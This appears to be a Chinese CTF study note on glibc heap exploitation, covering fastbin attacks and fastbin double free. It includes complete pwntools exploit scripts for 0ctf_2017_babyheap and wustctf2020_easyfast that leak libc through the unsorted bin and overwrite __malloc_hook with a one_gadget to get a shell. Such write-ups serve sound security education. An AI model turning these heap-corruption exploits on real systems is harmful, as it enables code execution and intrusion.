fastbin_attack
[toc]
fastbin attack
首先要知道fastbin的chunk的大小范围。
32位下,fastbin chunk的范围是16字节 - 64字节(0x10 - 0x40)
64位下,fastbin chunk的范围是32字节-128字节(0x20 - 0x80)
注意,这是加上header的大小。
fastbin方法流程比较简单,即通过某种手段能够控制fastbin中的chunk的fd指针时,将其指向一个想要往其写入数据的地方,这样再次malloc这个大小的chunk的时候就可以将这个地方分配为chunk,达到任意地址写的效果。但是条件如下:
- fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
- fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
- fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
- fake chunk 的 next chunk 的大小不能小于
2 * SIZE_SZ,同时也不能大于av->system_mem 。
- fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
要注意,被指向的地方的chunk header中的size必须满足fastbin的要求,即大小和fastbin中指向该fake chunk的chunk大小相同。若无法直接找到,可以利用地址偏移一些来寻找,也可以借助工具,比如pwndbg中可以使用find_fast_chunk addr来寻找一个可以覆盖掉addr地址的chunk。
例题是0ctf_2017_nanyheap:
整体思路是使用unsort bin泄露main_arena(unsort bin在只有一个chunk的时候fd和bk都指向main_arena的某个固定偏移处),再通过main_arena计算偏移得到libc和其他函数地址。
之后使用fastbin attack来向__malloc_hook中写入one_gadget算出来的gadget即可。注意,本来malloc_hook前是没有明显的可以分配的fastbin大小的chunk的,但是可以通过小部分偏移来得到刚好可以覆盖掉__malloc_hook的chunk,此处在pwngdb使用命令find_fast_chunk &__malloc_hook即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
|
from pwn import * from LibcSearcher import *
filename = './0ctf_2017_babyheap' context(log_level='debug') local = 1 elf = ELF(filename)
if local: sh = process(filename) else: sh = remote('node4.buuoj.cn', 25212)
def debug(): pid = util.proc.pidof(sh)[0] gdb.attach(pid) pause()
def allocate(size): sh.sendlineafter(': ', '1') sh.sendlineafter(': ', str(size))
def fill(index, size, content): sh.sendlineafter(': ', '2') sh.sendlineafter(': ', str(index)) sh.sendlineafter(': ', str(size)) sh.sendafter(': ', content)
def free(index): sh.sendlineafter(': ', '3') sh.sendlineafter(': ', str(index))
def dump(index): sh.sendlineafter(': ', '4') sh.sendlineafter(': ', str(index))
allocate(0x80) allocate(0x80) allocate(0x80) allocate(0x20) free(1) fill(0, 0x90, b'a'*0x80 + p64(0) + p64(0x121)) allocate(0x110) payload = b'a'*0x80 + p64(0) + p64(0x91) + b'c'*0x80 fill(1, len(payload), payload) free(2) dump(1) main_arena = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x58 info('the addr of main_arena is {}'.format(hex(main_arena))) libc_addr = main_arena - 0x3c4b20 info('the libc addr is {}'.format(hex(libc_addr))) fake_chunk_addr = libc_addr + 0x3c4aed info('the fake_chunk_addr is {}'.format(hex(fake_chunk_addr))) malloc_hook = libc_addr + 0x3c4b10 info('the addr of malloc_hook is {}'.format(hex(malloc_hook)))
allocate(0x80)
allocate(0x60) allocate(0x60) free(5) payload = b'd'*0x60 + p64(0x70) + p64(0x71) + p64(fake_chunk_addr) fill(4, len(payload), payload) allocate(0x60) allocate(0x60)
one_gadget = 0x4526a payload = b'a'*(0x23 - 0x10) + p64(libc_addr + one_gadget) fill(6, len(payload), payload)
allocate(0x10) sh.interactive()
|
Double Free
顾名思义,也就是将一个已经在fastbins里面的chunk再次添加到fastbins里面去,添加完成后就会有两个同样的chunk在一个bins里面。
比如:
1 2 3 4 5 6
| void* chunk1 = malloc(0x10); void* chunk2 = malloc(0x10);
free(chunk1); free(chunk2); free(chunk1);
|
这样一来,在fastbins的大小为0x20的bin中,就会有:

因为chunk1指向chunk2,因此最右边的chunk1也会指向chunk2。
值得注意的是,fastbin会对直接与main arena连接的chunk进行检查,因此必须借助第二个chunk才可以让两个一样的chunk都在同一个bins里面。
有什么用呢?
若此时我们再申请一个chunk,那么左边的chunk1将会被申请到,若我们能够修改chunk1,便相当于修改了还在fastbins里面的右边的chunk的fd指针。如此以来,若当目前在fastbins里面的chunk都被free了,由于最右边的那个chunk1的fd指针是我们设计的值,那么接下来再进行malloc操作时,便会将我们设计的值作为地址,将我们指定的地址作为一个chunk返回给我们。相当于是实现了一个任意地址写的功能。
但没有那么简单,我们设计的值作为地址的地方要作为chunk返回,必须要满足一个条件,即这个chunk的size值必须和bins单链表里面的其他chunk相同。这样一来就没有问题了。
例题wustctf2020_easyfast
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
|
from pwn import *
context(log_level='debug')
elf = ELF('./wustctf2020_easyfast')
sh = remote('node4.buuoj.cn', 27643)
def debug(): pid = util.proc.pidof(sh)[0] gdb.attach(pid) pause()
def add(size): sh.recvuntil('choice>\n') sh.sendline('1') sh.recvuntil('size>\n') sh.sendline(str(size))
def delete(index): sh.sendlineafter('choice>\n', '2') sh.sendlineafter('index>\n', str(index)) def modify(index, content): sh.sendlineafter('choice>\n', '3') sh.sendlineafter('index>\n', str(index)) sh.send(content)
add(0x40) add(0x40)
delete(0) delete(1) delete(0)
modify(0, p64(0x602080))
add(0x40) add(0x40)
modify(3, p64(0))
sh.recvuntil('>\n') sh.sendline('4')
sh.interactive()
|